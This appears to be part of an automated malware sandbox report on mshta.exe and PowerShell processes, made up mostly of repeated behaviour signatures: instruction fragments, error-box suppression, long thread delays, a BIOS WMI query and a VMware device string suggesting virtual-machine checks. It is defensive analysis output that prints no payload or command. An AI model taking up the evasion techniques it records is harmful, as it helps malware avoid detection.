Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0C13D push cs; iretd	6_2_04F0C15B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0B4F2 push ebx; iretd	6_2_04F0B50A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0B16C push cs; iretd	6_2_04F0B17B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0D98C push ds; iretd	6_2_04F0D993
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0D965 push ds; iretd	6_2_04F0D98B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04F0D96D push ds; iretd	6_2_04F0D98B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0752D0F6 push ebx; retf	6_2_0752D101
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07528B53 push FFFFFF8Bh; retf	6_2_07528B57
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0752B966 push FFFFFFE9h; ret	6_2_0752B969
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077516A2 push cs; iretd	6_2_077516A4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07750DCC push esp; retf	6_2_07750DCD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0775E430 push eax; ret	6_2_0775E48D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077F4653 push FFFFFF8Bh; iretd	6_2_077F4658
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077F456E push FFFFFF8Bh; iretd	6_2_077F4573
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077F59A8 push FFFFFF8Bh; iretd	6_2_077F59B6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077F0033 push esp; retf	6_2_077F0039

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3498	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 905	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4586	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5135	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000004.00000002.1761761572.0000000007530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
